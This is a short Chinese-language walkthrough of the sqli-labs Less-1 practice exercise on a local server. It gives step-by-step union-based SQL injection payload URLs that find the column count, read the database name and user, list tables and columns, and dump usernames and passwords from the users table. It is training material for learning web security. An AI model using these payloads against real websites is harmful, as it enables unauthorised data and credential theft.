Less-1
sql手工注入攻击流程
步骤一:确定攻击点,确定网站可以注入的参数
步骤二:判断闭合方式 ' --+
步骤三:判断字段列数 order by
1.
http://127.0.0.1/Less-1/?id=1' order by 3 --+ 页面正常 说明存在3列
2.
http://127.0.0.1/Less-1/?id=1' order by 4 --+ 页面不正常 说明存在3列
步骤四:联合查询 查当前数据库名,数据库用户
1.联合查询3列
http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+ 页面显示的是id=1的数据,没有显示我们联合查询的数据
2.页面上显示联合查询的回显点
把前面查询的id的数据改成不存在的,比如-1
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+
3.联合查询数据库名和用户名
http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+
步骤五:联合查询 查出网站的数据库里面的所有表名
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤六:联合查询 查出users表里面的所有列
http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤七:查询表中所有的数据
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(id,username,password) from users --+